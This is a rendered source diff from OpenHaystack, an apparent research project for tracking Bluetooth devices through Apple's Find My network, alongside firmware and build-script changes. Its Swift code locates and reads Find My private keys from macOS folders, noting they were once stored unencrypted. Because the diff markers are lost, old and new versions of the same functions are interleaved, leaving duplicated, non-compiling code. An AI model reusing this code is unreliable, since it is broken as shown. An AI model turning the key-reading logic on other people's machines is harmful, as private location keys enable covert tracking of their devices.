// MARK: - macOS 10.15.0 - 10.15.3
|
||||
return devices
|
||||
}
|
||||
|
||||
/// Reads the find my keys from the location used until macOS 10.15.3
|
||||
/// - Throws: An error if the location is no longer available (e.g. in macOS 10.15.4)
|
||||
/// - Returns: An array of find my devices including their keys
|
||||
static func readFromOldLocation() throws -> [FindMyDevice] {
|
||||
// Access the find my directory where the private advertisement keys are stored unencrypted
|
||||
let directoryPath = "com.apple.icloud.searchpartyd/PrivateAdvertisementKeys/"
|
||||
|
||||
let fm = FileManager.default
|
||||
let privateKeysPath = fm.urls(for: .libraryDirectory, in: .userDomainMask)
|
||||
.first?.appendingPathComponent(directoryPath)
|
||||
let folders = try fm.contentsOfDirectory(at: privateKeysPath!,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
guard folders.isEmpty == false else {throw FindMyError.noFoldersFound}
|
||||
|
||||
print("Found \(folders.count) folders")
|
||||
var devices = [FindMyDevice]()
|
||||
|
||||
for folderURL in folders {
|
||||
let keyFiles = try fm.contentsOfDirectory(at: folderURL,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
// Check if keys are available
|
||||
print("Found \(keyFiles.count) in folder \(folderURL.lastPathComponent)")
|
||||
guard keyFiles.isEmpty == false else {continue}
|
||||
var device = FindMyDevice(deviceId: folderURL.lastPathComponent)
|
||||
|
||||
for url in keyFiles {
|
||||
do {
|
||||
if url.pathExtension == "keys" {
|
||||
let keyPlist = try Data(contentsOf: url)
|
||||
let keyInfo = try self.parseKeyFile(keyFile: keyPlist)
|
||||
device.keys.append(keyInfo)
|
||||
}
|
||||
} catch {
|
||||
print("Could not load key file ", error)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
devices.append(device)
|
||||
}
|
||||
|
||||
return devices
|
||||
/// Parses the key plist file used until macOS 10.15.3
|
||||
/// - Parameter keyFile: Propery list data
|
||||
/// - Returns: Find My private Key
|
||||
static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
|
||||
guard
|
||||
let keyDict = try PropertyListSerialization.propertyList(
|
||||
from: keyFile,
|
||||
options: .init(), format: nil) as? [String: Any],
|
||||
let advertisedKey = keyDict["A"] as? Data,
|
||||
let privateKey = keyDict["PR"] as? Data,
|
||||
let timeValues = keyDict["D"] as? [Double],
|
||||
let pu = keyDict["PU"] as? Data
|
||||
else {
|
||||
throw FindMyError.parsingFailed
|
||||
}
|
||||
|
||||
/// Parses the key plist file used until macOS 10.15.3
|
||||
/// - Parameter keyFile: Propery list data
|
||||
/// - Returns: Find My private Key
|
||||
static func parseKeyFile(keyFile: Data) throws -> FindMyKey {
|
||||
guard let keyDict = try PropertyListSerialization.propertyList(from: keyFile,
|
||||
options: .init(), format: nil) as? [String: Any],
|
||||
let advertisedKey = keyDict["A"] as? Data,
|
||||
let privateKey = keyDict["PR"] as? Data,
|
||||
let timeValues = keyDict["D"] as? [Double],
|
||||
let pu = keyDict["PU"] as? Data
|
||||
else {
|
||||
throw FindMyError.parsingFailed
|
||||
}
|
||||
let hashedKeyDigest = SHA256.hash(data: advertisedKey)
|
||||
let hashedKey = Data(hashedKeyDigest)
|
||||
let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
|
||||
let duration = timeValues[1]
|
||||
|
||||
let hashedKeyDigest = SHA256.hash(data: advertisedKey)
|
||||
let hashedKey = Data(hashedKeyDigest)
|
||||
let time = Date(timeIntervalSinceReferenceDate: timeValues[0])
|
||||
let duration = timeValues[1]
|
||||
return FindMyKey(
|
||||
advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: privateKey,
|
||||
startTime: time,
|
||||
duration: duration,
|
||||
pu: pu,
|
||||
yCoordinate: nil,
|
||||
fullKey: nil)
|
||||
}
|
||||
|
||||
return FindMyKey(advertisedKey: advertisedKey,
|
||||
hashedKey: hashedKey,
|
||||
privateKey: privateKey,
|
||||
startTime: time,
|
||||
duration: duration,
|
||||
pu: pu,
|
||||
yCoordinate: nil,
|
||||
fullKey: nil)
|
||||
}
|
||||
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
|
||||
|
||||
// MARK: - macOS 10.15.4 - 10.15.6 (+ Big Sur 11.0 Betas)
|
||||
/// Find the randomized key folder which is used since macOS 10.15.4
|
||||
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
|
||||
static func findRamdomKeyFolder() -> [URL] {
|
||||
os_log(.debug, "Searching for cached keys folder")
|
||||
var folderURLs = [URL]()
|
||||
let foldersPath = "/private/var/folders/"
|
||||
let fm = FileManager.default
|
||||
|
||||
/// Find the randomized key folder which is used since macOS 10.15.4
|
||||
/// - Returns: Returns an array of urls that contain keys. Multiple folders are found if the mac has multiple users
|
||||
static func findRamdomKeyFolder() -> [URL] {
|
||||
os_log(.debug, "Searching for cached keys folder")
|
||||
var folderURLs = [URL]()
|
||||
let foldersPath = "/private/var/folders/"
|
||||
let fm = FileManager.default
|
||||
|
||||
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
|
||||
do {
|
||||
let randomSubfolders = try fm.contentsOfDirectory(at: url,
|
||||
includingPropertiesForKeys: nil,
|
||||
options: .includesDirectoriesPostOrder)
|
||||
|
||||
for folder in randomSubfolders {
|
||||
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
|
||||
urlArray.append(folder.appendingPathComponent("Keys"))
|
||||
os_log(.debug, "Found folder at: %@", folder.path)
|
||||
break
|
||||
} else {
|
||||
recursiveSearch(from: folder, urlArray: &urlArray)
|
||||
}
|
||||
}
|
||||
|
||||
} catch {
|
||||
|
||||
}
|
||||
func recursiveSearch(from url: URL, urlArray: inout [URL]) {
|
||||
do {
|
||||
let randomSubfolders = try fm.contentsOfDirectory(
|
||||
at: url,
|
||||
includingPropertiesForKeys: nil,
|
||||
options: .includesDirectoriesPostOrder)
|
||||
|
||||
for folder in randomSubfolders {
|
||||
if folder.lastPathComponent == "com.apple.icloud.searchpartyd" {
|
||||
urlArray.append(folder.appendingPathComponent("Keys"))
|
||||
os_log(.debug, "Found folder at: %@", folder.path)
|
||||
break
|
||||
} else {
|
||||
recursiveSearch(from: folder, urlArray: &urlArray)
|
||||
}
|
||||
}
|
||||
|
||||
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
|
||||
} catch {
|
||||
|
||||
return folderURLs
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
|
||||
/// - Throws: An error if the key folder cannot be fould
|
||||
/// - Returns: An array of devices including their keys
|
||||
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
|
||||
let keysFolders = self.findRamdomKeyFolder()
|
||||
guard keysFolders.isEmpty == false else {
|
||||
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
|
||||
}
|
||||
recursiveSearch(from: URL(fileURLWithPath: foldersPath), urlArray: &folderURLs)
|
||||
|
||||
var devices = [FindMyDevice]()
|
||||
for folder in keysFolders {
|
||||
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
|
||||
devices.append(contentsOf: deviceKeys)
|
||||
}
|
||||
}
|
||||
return folderURLs
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
/// Find the key files in macOS 10.15.4 and newer (not working with fixed version 10.15.6)
|
||||
/// - Throws: An error if the key folder cannot be fould
|
||||
/// - Returns: An array of devices including their keys
|
||||
static func findKeyFilesInNewLocation() throws -> [FindMyDevice] {
|
||||
let keysFolders = self.findRamdomKeyFolder()
|
||||
guard keysFolders.isEmpty == false else {
|
||||
throw NSError(domain: "error", code: NSNotFound, userInfo: nil)
|
||||
}
|
||||
|
||||
/// Load the keys fils in the passed directory
|
||||
/// - Parameter directory: Pass a directory url to a location with key files
|
||||
/// - Throws: An error if the keys could not be found
|
||||
/// - Returns: An array of devices including their keys
|
||||
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
|
||||
os_log(.debug, "Loading key files from %@", directory.path)
|
||||
let fm = FileManager.default
|
||||
let subDirectories = try fm.contentsOfDirectory(at: directory,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
var devices = [FindMyDevice]()
|
||||
for folder in keysFolders {
|
||||
if let deviceKeys = try? self.loadNewKeyFilesIn(directory: folder) {
|
||||
devices.append(contentsOf: deviceKeys)
|
||||
}
|
||||
}
|
||||
|
||||
var devices = [FindMyDevice]()
|
||||
return devices
|
||||
}
|
||||
|
||||
for deviceDirectory in subDirectories {
|
||||
do {
|
||||
var keyFiles = [Data]()
|
||||
let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
|
||||
let keyFileURLs = try fm.contentsOfDirectory(at: keyDirectory,
|
||||
includingPropertiesForKeys: nil,
|
||||
options: .skipsHiddenFiles)
|
||||
for keyfileURL in keyFileURLs {
|
||||
// Read the key files
|
||||
let keyFile = try Data(contentsOf: keyfileURL)
|
||||
if keyFile.isEmpty == false {
|
||||
keyFiles.append(keyFile)
|
||||
}
|
||||
}
|
||||
/// Load the keys fils in the passed directory
|
||||
/// - Parameter directory: Pass a directory url to a location with key files
|
||||
/// - Throws: An error if the keys could not be found
|
||||
/// - Returns: An array of devices including their keys
|
||||
static func loadNewKeyFilesIn(directory: URL) throws -> [FindMyDevice] {
|
||||
os_log(.debug, "Loading key files from %@", directory.path)
|
||||
let fm = FileManager.default
|
||||
let subDirectories = try fm.contentsOfDirectory(
|
||||
at: directory,
|
||||
includingPropertiesForKeys: nil, options: .skipsHiddenFiles)
|
||||
|
||||
// Decode keys for file
|
||||
let decoder = FindMyKeyDecoder()
|
||||
var decodedKeys = [FindMyKey]()
|
||||
for file in keyFiles {
|
||||
do {
|
||||
let fmKeys = try decoder.parse(keyFile: file)
|
||||
decodedKeys.append(contentsOf: fmKeys)
|
||||
} catch {
|
||||
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
var devices = [FindMyDevice]()
|
||||
|
||||
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
|
||||
devices.append(device)
|
||||
} catch {
|
||||
os_log(.error, "Key directory not found %@", error.localizedDescription)
|
||||
}
|
||||
for deviceDirectory in subDirectories {
|
||||
do {
|
||||
var keyFiles = [Data]()
|
||||
let keyDirectory = deviceDirectory.appendingPathComponent("Primary")
|
||||
let keyFileURLs = try fm.contentsOfDirectory(
|
||||
at: keyDirectory,
|
||||
includingPropertiesForKeys: nil,
|
||||
options: .skipsHiddenFiles)
|
||||
for keyfileURL in keyFileURLs {
|
||||
// Read the key files
|
||||
let keyFile = try Data(contentsOf: keyfileURL)
|
||||
if keyFile.isEmpty == false {
|
||||
keyFiles.append(keyFile)
|
||||
}
|
||||
}
|
||||
|
||||
return devices
|
||||
// Decode keys for file
|
||||
let decoder = FindMyKeyDecoder()
|
||||
var decodedKeys = [FindMyKey]()
|
||||
for file in keyFiles {
|
||||
do {
|
||||
let fmKeys = try decoder.parse(keyFile: file)
|
||||
decodedKeys.append(contentsOf: fmKeys)
|
||||
} catch {
|
||||
os_log(.error, "Decoding keys failed %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
let device = FindMyDevice(deviceId: deviceDirectory.lastPathComponent, keys: decodedKeys)
|
||||
devices.append(device)
|
||||
} catch {
|
||||
os_log(.error, "Key directory not found %@", error.localizedDescription)
|
||||
}
|
||||
}
|
||||
|
||||
return devices
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
@@ -1,42 +1,44 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import Combine
|
||||
import CryptoKit
|
||||
import Foundation
|
||||
|
||||
struct FindMyDevice: Codable {
|
||||
let deviceId: String
|
||||
var keys = [FindMyKey]()
|
||||
let deviceId: String
|
||||
var keys = [FindMyKey]()
|
||||
}
|
||||
|
||||
struct FindMyKey: Codable {
|
||||
/// The advertising key
|
||||
let advertisedKey: Data
|
||||
/// Hashed advertisement key using SHA256
|
||||
let hashedKey: Data
|
||||
/// The private key from which the advertisement keys can be derived
|
||||
let privateKey: Data
|
||||
/// When this key was used to send out BLE advertisements
|
||||
let startTime: Date?
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||
let duration: Double?
|
||||
/// The advertising key
|
||||
let advertisedKey: Data
|
||||
/// Hashed advertisement key using SHA256
|
||||
let hashedKey: Data
|
||||
/// The private key from which the advertisement keys can be derived
|
||||
let privateKey: Data
|
||||
/// When this key was used to send out BLE advertisements
|
||||
let startTime: Date?
|
||||
/// Duration from start time how long the key has been used to send out BLE advertisements
|
||||
let duration: Double?
|
||||
|
||||
// swiftlint:disable identifier_name
|
||||
/// ?
|
||||
let pu: Data?
|
||||
// swiftlint:disable identifier_name
|
||||
/// ?
|
||||
let pu: Data?
|
||||
|
||||
/// As exported from Big Sur
|
||||
let yCoordinate: Data?
|
||||
/// As exported from BigSur
|
||||
let fullKey: Data?
|
||||
/// As exported from Big Sur
|
||||
let yCoordinate: Data?
|
||||
/// As exported from BigSur
|
||||
let fullKey: Data?
|
||||
}
|
||||
|
||||
enum FindMyError: Error {
|
||||
case noFoldersFound
|
||||
case parsingFailed
|
||||
case noFoldersFound
|
||||
case parsingFailed
|
||||
}
|
||||
|
||||
@@ -1,44 +1,47 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
import Foundation
|
||||
import AppKit
|
||||
import Foundation
|
||||
|
||||
class SavePanel: NSObject, NSOpenSavePanelDelegate {
|
||||
|
||||
static let shared = SavePanel()
|
||||
static let shared = SavePanel()
|
||||
|
||||
var fileToSave: Data?
|
||||
var fileExtension: String?
|
||||
var panel: NSSavePanel?
|
||||
var fileToSave: Data?
|
||||
var fileExtension: String?
|
||||
var panel: NSSavePanel?
|
||||
|
||||
func saveFile(file: Data, fileExtension: String) {
|
||||
self.fileToSave = file
|
||||
self.fileExtension = fileExtension
|
||||
func saveFile(file: Data, fileExtension: String) {
|
||||
self.fileToSave = file
|
||||
self.fileExtension = fileExtension
|
||||
|
||||
self.panel = NSSavePanel()
|
||||
self.panel?.delegate = self
|
||||
self.panel?.title = "Export Find My Keys"
|
||||
self.panel?.prompt = "Export"
|
||||
self.panel?.nameFieldLabel = "Offline Keys Plist"
|
||||
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
|
||||
self.panel?.allowedFileTypes = ["plist"]
|
||||
self.panel = NSSavePanel()
|
||||
self.panel?.delegate = self
|
||||
self.panel?.title = "Export Find My Keys"
|
||||
self.panel?.prompt = "Export"
|
||||
self.panel?.nameFieldLabel = "Offline Keys Plist"
|
||||
self.panel?.nameFieldStringValue = "OfflineFindingKeys.plist"
|
||||
self.panel?.allowedFileTypes = ["plist"]
|
||||
|
||||
self.panel?.begin(completionHandler: { (response) in
|
||||
if response == .OK {
|
||||
// Save the file in a cache directory
|
||||
let fileURL = self.panel?.url
|
||||
try? self.fileToSave?.write(to: fileURL!)
|
||||
}
|
||||
})
|
||||
self.panel?.begin(completionHandler: { (response) in
|
||||
if response == .OK {
|
||||
// Save the file in a cache directory
|
||||
let fileURL = self.panel?.url
|
||||
try? self.fileToSave?.write(to: fileURL!)
|
||||
}
|
||||
})
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String? {
|
||||
return filename
|
||||
}
|
||||
func panel(_ sender: Any, userEnteredFilename filename: String, confirmed okFlag: Bool) -> String?
|
||||
{
|
||||
return filename
|
||||
}
|
||||
}
|
||||
|
||||
3
Firmware/ESP32/.vscode/settings.json
vendored
Normal file
3
Firmware/ESP32/.vscode/settings.json
vendored
Normal file
@@ -0,0 +1,3 @@
|
||||
{
|
||||
"idf.port": "/dev/cu.usbserial-0001"
|
||||
}
|
||||
@@ -36,7 +36,7 @@ These files are required for the next step: Deploy the firmware.
|
||||
Use the `flash_esp32.sh` script to deploy the firmware and a public key to an ESP32 device connected to your local machine:
|
||||
|
||||
```bash
|
||||
./flash_esp32.sh -p /dev/yourSerialPort "public-key-in-base64"
|
||||
./flash_esp32.sh -p /dev/yourSerialPort "Base64-encoded advertisement key"
|
||||
```
|
||||
|
||||
> **Note:** You might need to reset your device after running the script before it starts sending advertisements.
|
||||
|
||||
@@ -1,5 +1,10 @@
|
||||
#!/bin/bash
|
||||
|
||||
cleanup() {
|
||||
echo "cleanup ..."
|
||||
rm "$KEYFILE"
|
||||
}
|
||||
|
||||
# Directory of this script
|
||||
SCRIPT_DIR="$( cd "$( dirname "${BASH_SOURCE[0]}" )" >/dev/null 2>&1 && pwd )"
|
||||
|
||||
@@ -127,13 +132,13 @@ fi
|
||||
|
||||
# Call esptool.py. Errors from here on are critical
|
||||
set -e
|
||||
trap cleanup INT TERM EXIT
|
||||
|
||||
# Clear NVM
|
||||
esptool.py --after no_reset \
|
||||
esptool.py --after no_reset --port "$PORT" \
|
||||
erase_region 0x9000 0x5000
|
||||
esptool.py --before no_reset --baud $BAUDRATE \
|
||||
esptool.py --before no_reset --baud $BAUDRATE --port "$PORT" \
|
||||
write_flash 0x1000 "$SCRIPT_DIR/build/bootloader/bootloader.bin" \
|
||||
0x8000 "$SCRIPT_DIR/build/partition_table/partition-table.bin" \
|
||||
0xe000 "$KEYFILE" \
|
||||
0x10000 "$SCRIPT_DIR/build/openhaystack.bin"
|
||||
rm "$KEYFILE"
|
||||
|
||||
@@ -43,12 +43,12 @@ static esp_ble_adv_params_t ble_adv_params = {
|
||||
// Minimum advertising interval for undirected and low duty cycle
|
||||
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
|
||||
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
|
||||
.adv_int_min = 0x00A0, // 100ms
|
||||
.adv_int_min = 0x0640, // 1s
|
||||
// Advertising max interval:
|
||||
// Maximum advertising interval for undirected and low duty cycle
|
||||
// directed advertising. Range: 0x0020 to 0x4000 Default: N = 0x0800
|
||||
// (1.28 second) Time = N * 0.625 msec Time Range: 20 ms to 10.24 sec
|
||||
.adv_int_max = 0x0140, // 200ms
|
||||
.adv_int_max = 0x0C80, // 2s
|
||||
// Advertisement type
|
||||
.adv_type = ADV_TYPE_NONCONN_IND,
|
||||
// Use the random address
|
||||
|
||||
19
Firmware/Linux_HCI/README.md
Normal file
19
Firmware/Linux_HCI/README.md
Normal file
@@ -0,0 +1,19 @@
|
||||
# OpenHaystack HCI Script for Linux
|
||||
|
||||
This script enables Linux devices to send out Bluetooth Low Energy advertisements such that they can be found by [Apple's Find My network](https://developer.apple.com/find-my/).
|
||||
|
||||
## Disclaimer
|
||||
|
||||
Note that the script is just a proof-of-concept and currently only implements advertising a single static key. This means that **devices running this script are trackable** by other devices in proximity.
|
||||
|
||||
## Requirements
|
||||
|
||||
The script requires a Linux machine with a Bluetooth Low Energy radio chip, a Python environment, and `hcitool` installed. We tested it on a Raspberry Pi running the official Raspberry Pi OS.
|
||||
|
||||
## Usage
|
||||
|
||||
Our Python script uses HCI calls to configure Bluetooth advertising. You can copy the required `ADVERTISMENT_KEY` from the app by right-clicking on your accessory and selecting _Copy advertisement key (Base64)_. Then run the script:
|
||||
|
||||
```bash
|
||||
sudo python3 HCI.py --key <ADVERTISMENT_KEY>
|
||||
```
|
||||
@@ -1,7 +1,7 @@
|
||||
PLATFORM := nRF51822
|
||||
NRF51_SDK_PATH := $(shell pwd)/nrf51_sdk_v4_4_2_33551
|
||||
NRF51_SDK_DOWNLOAD_URL := https://developer.nordicsemi.com/nRF5_SDK/nRF51_SDK_v4.x.x/nrf51_sdk_v4_4_2_33551.zip
|
||||
OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../OpenHaystack/OpenHaystack/HaystackApp/firmware.bin
|
||||
OPENHAYSTACK_FIRMWARE_PATH := $(shell pwd)/../../OpenHaystack/OpenHaystack/HaystackApp/Firmwares/Microbit/firmware.bin
|
||||
|
||||
export PLATFORM
|
||||
export NRF51_SDK_PATH
|
||||
@@ -10,7 +10,7 @@ ifeq ($(DEPLOY_PATH),)
|
||||
DEPLOY_PATH := /Volumes/MICROBIT
|
||||
endif
|
||||
|
||||
offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git
|
||||
offline-finding/build/offline-finding.bin: $(NRF51_SDK_PATH) blessed/.git offline-finding/main.c
|
||||
$(MAKE) -C blessed
|
||||
$(MAKE) -C offline-finding
|
||||
|
||||
|
||||
@@ -15,7 +15,7 @@
|
||||
|
||||
#include "ll.h"
|
||||
|
||||
#define ADV_INTERVAL LL_ADV_INTERVAL_MIN_NONCONN /* 100 ms */
|
||||
#define ADV_INTERVAL 2000000 /* 2 s */
|
||||
|
||||
/* don't make `const` so we can replace key in compiled binary image */
|
||||
static char public_key[28] = "OFFLINEFINDINGPUBLICKEYHERE!";
|
||||
|
||||
10
Makefile
Normal file
10
Makefile
Normal file
@@ -0,0 +1,10 @@
|
||||
APPDIR := OpenHaystack
|
||||
|
||||
default:
|
||||
|
||||
install-hooks: .pre-commit
|
||||
cp .pre-commit .git/hooks/pre-commit
|
||||
|
||||
app-autoformat:
|
||||
swift-format format -i -r $(APPDIR)
|
||||
clang-format -i $(shell find $(APPDIR) -name '*.h' -o -name '*.m')
|
||||
@@ -1,59 +0,0 @@
|
||||
|
||||
# By default, SwiftLint uses a set of sensible default rules you can adjust:
|
||||
disabled_rules: # rule identifiers turned on by default to exclude from running
|
||||
- colon
|
||||
- control_statement
|
||||
- identifier_name
|
||||
- force_try
|
||||
|
||||
opt_in_rules: # some rules are turned off by default, so you need to opt-in
|
||||
- empty_count # Find all the available rules by running: `swiftlint rules`
|
||||
|
||||
# Alternatively, specify all rules explicitly by uncommenting this option:
|
||||
# only_rules: # delete `disabled_rules` & `opt_in_rules` if using this
|
||||
# - empty_parameters
|
||||
# - vertical_whitespace
|
||||
|
||||
analyzer_rules: # Rules run by `swiftlint analyze` (experimental)
|
||||
- explicit_self
|
||||
|
||||
# configurable rules can be customized from this configuration file
|
||||
# binary rules can set their severity level
|
||||
force_cast: warning # implicitly
|
||||
# rules that have both warning and error levels, can set just the warning level
|
||||
# implicitly
|
||||
line_length: 180
|
||||
# they can set both implicitly with an array
|
||||
type_body_length:
|
||||
- 400 # warning
|
||||
- 500 # error
|
||||
# or they can set both explicitly
|
||||
file_length:
|
||||
warning: 600
|
||||
error: 1200
|
||||
# naming rules can set warnings/errors for min_length and max_length
|
||||
# additionally they can set excluded names
|
||||
type_name:
|
||||
min_length: 1 # only warning
|
||||
max_length: # warning and error
|
||||
warning: 40
|
||||
error: 50
|
||||
excluded:
|
||||
- iPhone
|
||||
- BN
|
||||
- ECC
|
||||
- PSI
|
||||
- Log
|
||||
allowed_symbols: ["_"] # these are allowed in type names
|
||||
identifier_name:
|
||||
min_length: 1 # only min_length
|
||||
excluded: # excluded via string array
|
||||
- id
|
||||
- URL
|
||||
- GlobalAPIKey
|
||||
- SHA256_SIZE
|
||||
- SHA384_SIZE
|
||||
- TWO
|
||||
- EULER_THEOREM
|
||||
- Log
|
||||
reporter: "xcode" # reporter type (xcode, json, csv, checkstyle, codeclimate, junit, html, emoji, sonarqube, markdown, github-actions-logging)
|
||||
@@ -1,9 +1,11 @@
|
||||
//
|
||||
// OpenHaystack – Tracking personal Bluetooth devices via Apple's Find My network
|
||||
//
|
||||
// Copyright © 2021 Secure Mobile Networking Lab (SEEMOO)
|
||||
// Copyright © 2021 The Open Wireless Link Project
|
||||
//
|
||||
// SPDX-License-Identifier: AGPL-3.0-only
|
||||
//
|
||||
|
||||
#import "ALTAnisetteData.h"
|
||||
#import "AppleAccountData.h"
|
||||
|
||||
@@ -3,10 +3,14 @@
|
||||
archiveVersion = 1;
|
||||
classes = {
|
||||
};
|
||||
objectVersion = 52;
|
||||
objectVersion = 54;
|
||||
objects = {
|
||||
|
||||
/* Begin PBXBuildFile section */
|
||||
5A2C9089273425720044407E /* NRF in Resources */ = {isa = PBXBuildFile; fileRef = 5A2C9088273425720044407E /* NRF */; };
|
||||
5A2C908B2734266A0044407E /* DataToHexExtension.swift in Sources */ = {isa = PBXBuildFile; fileRef = 5A2C908A2734266A0044407E /* DataToHexExtension.swift */; };
|
||||
5A2C908D273429360044407E /* NRFController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 5A2C908C273429360044407E /* NRFController.swift */; };
|
||||
5A2C908F273429540044407E /* NRFInstallSheet.swift in Sources */ = {isa = PBXBuildFile; fileRef = 5A2C908E273429540044407E /* NRFInstallSheet.swift */; };
|
||||
78014A2925DC08580089F6D9 /* MicrobitController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78014A2725DC01220089F6D9 /* MicrobitController.swift */; };
|
||||
78014A2B25DC22120089F6D9 /* sample.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78014A2A25DC22110089F6D9 /* sample.bin */; };
|
||||
78014A2F25DC2F100089F6D9 /* pattern_sample.bin in Resources */ = {isa = PBXBuildFile; fileRef = 78014A2E25DC2F100089F6D9 /* pattern_sample.bin */; };
|
||||
@@ -18,18 +22,19 @@
|
||||
781EB3EC25DAD7EA00FEAA19 /* DecryptReports.swift in Sources */ = {isa = PBXBuildFile; fileRef = 025DFEDB248FED250039C718 /* DecryptReports.swift */; };
|
||||
781EB3EF25DAD7EA00FEAA19 /* MapViewController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 0211DBC2249135D600ABB066 /* MapViewController.swift */; };
|
||||
781EB3F125DAD7EA00FEAA19 /* FindMyKeyDecoder.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7867874724A651C600199B09 /* FindMyKeyDecoder.swift */; };
|
||||
781EB3F225DAD7EA00FEAA19 /* AppDelegate.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B6F248E8FB50007E9C4 /* AppDelegate.swift */; };
|
||||
781EB3F225DAD7EA00FEAA19 /* OpenHaystackApp.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B6F248E8FB50007E9C4 /* OpenHaystackApp.swift */; };
|
||||
781EB3F325DAD7EA00FEAA19 /* Models.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B8E248F70D40007E9C4 /* Models.swift */; };
|
||||
781EB3F425DAD7EA00FEAA19 /* FindMyController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78108B90248F72AF0007E9C4 /* FindMyController.swift */; };
|
||||
781EB3F525DAD7EA00FEAA19 /* BoringSSL.m in Sources */ = {isa = PBXBuildFile; fileRef = 024D98482490CE320063EBB6 /* BoringSSL.m */; };
|
||||
781EB3F725DAD7EA00FEAA19 /* Crypto in Frameworks */ = {isa = PBXBuildFile; productRef = 781EB3E725DAD7EA00FEAA19 /* Crypto */; };
|
||||
781EB3FD25DAD7EA00FEAA19 /* Main.storyboard in Resources */ = {isa = PBXBuildFile; fileRef = 78108B78248E8FB80007E9C4 /* Main.storyboard */; };
|
||||
781EB3FE25DAD7EA00FEAA19 /* MapViewController.xib in Resources */ = {isa = PBXBuildFile; fileRef = 0211DBC3249135D600ABB066 /* MapViewController.xib */; };
|
||||
781EB40025DAD7EA00FEAA19 /* Preview Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B76248E8FB80007E9C4 /* Preview Assets.xcassets */; };
|
||||
781EB40225DAD7EA00FEAA19 /* Assets.xcassets in Resources */ = {isa = PBXBuildFile; fileRef = 78108B73248E8FB80007E9C4 /* Assets.xcassets */; };
|
||||
781EB43125DADF2B00FEAA19 /* AnisetteDataManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 781EB40F25DADB0600FEAA19 /* AnisetteDataManager.swift */; };
|
||||
7821DAD125F7B2C10054DC33 /* FileManager.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7821DAD025F7B2C10054DC33 /* FileManager.swift */; };
|
||||
7821DAD325F7C39A0054DC33 /* ESP32InstallSheet.swift in Sources */ = {isa = PBXBuildFile; fileRef = 7821DAD225F7C39A0054DC33 /* ESP32InstallSheet.swift */; };
|
||||
782853C22755103A00B18EDE /* UpdateCheckController.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782853C12755103A00B18EDE /* UpdateCheckController.swift */; };
|
||||
782853C427551B4400B18EDE /* UpdateCheckTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 782853C327551B4400B18EDE /* UpdateCheckTests.swift */; };
|
||||
78286CB225E3ACE700F65511 /* OpenHaystackPluginService.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CAF25E3ACE700F65511 /* OpenHaystackPluginService.m */; };
|
||||
78286D1F25E3D8B800F65511 /* ALTAnisetteData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286CB025E3ACE700F65511 /* ALTAnisetteData.m */; };
|
||||
78286D2A25E3EC3200F65511 /* AppleAccountData.m in Sources */ = {isa = PBXBuildFile; fileRef = 78286D2925E3EC3200F65511 /* AppleAccountData.m */; };
|
||||
@@ -51,8 +56,14 @@
|
||||
78EC226425DAE0BE0042B775 /* OpenHaystackTests.swift in Sources */ = {isa = PBXBuildFile; fileRef = 78EC226325DAE0BE0042B775 /* OpenHaystackTests.swift */; };
|
||||
